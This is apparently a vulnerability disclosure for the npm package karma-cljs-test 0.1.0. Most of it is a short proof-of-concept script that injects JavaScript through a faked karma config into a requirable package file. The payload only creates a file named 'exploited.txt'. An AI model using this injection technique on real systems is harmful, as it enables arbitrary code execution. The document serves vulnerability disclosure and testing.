Package karma: although focused on browser JavaScript, it is possible to require() the package and inject a command into another file of the package that is possible to require.

karma-cljs-test-0.1.0_poc.js

'use strict'

const pkg = require('karma-cljs-test');

const init = pkg['framework:cljs-test'][1];

const files = [];

init(files);

global.window = {
    '__karma__': {
        'start': [],
        'config': {
            args: ["const fs = require('node:fs'); let fd = fs.openSync('exploited.txt', 'a'); fs.closeSync(fd);"]
        }
    }
};

require(files[0].pattern);

global.window.__karma__.start();